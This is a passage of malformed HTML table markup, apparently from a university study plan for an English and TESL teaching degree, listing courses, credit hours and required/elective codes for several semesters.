width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  415</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>British\r\n  Literature 1</p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  309</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>English\r\n  Composition ( 6 hours)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  336</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Stylistics\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  302</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Curriculum\r\n  Development and Assessment Strategies&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>15</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>18</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n  <strong>VII\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n <strong>VIII\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>EDU\r\n  407 </strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Practice\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>6</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>M/R</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>EDU\r\n  410</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Internship</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>6</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.8pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>TESL 428</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Methods of TESL </strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>TESL 462</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Materials development for\r\n  teaching languages&nbsp; </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>TESL\r\n  445 LING\r\n  505</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>TESL to young learners </strong>&nbsp;</p>\r\n  <p>Applied Linguistics in\r\n  Teaching English<strong></strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>ME</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>LING 502</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Second Language\r\n  Acquisition </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 415</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>British Literature 2</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL 417 ENGL 415</strong></p>\r\n  <p><strong>TESL\r\n  470</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>World literature </p>\r\n  <p>American literature &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  <p><strong>TESL\r\n  to students with special needs </strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:25.15pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  31</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>History\r\n  of the English Language</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" 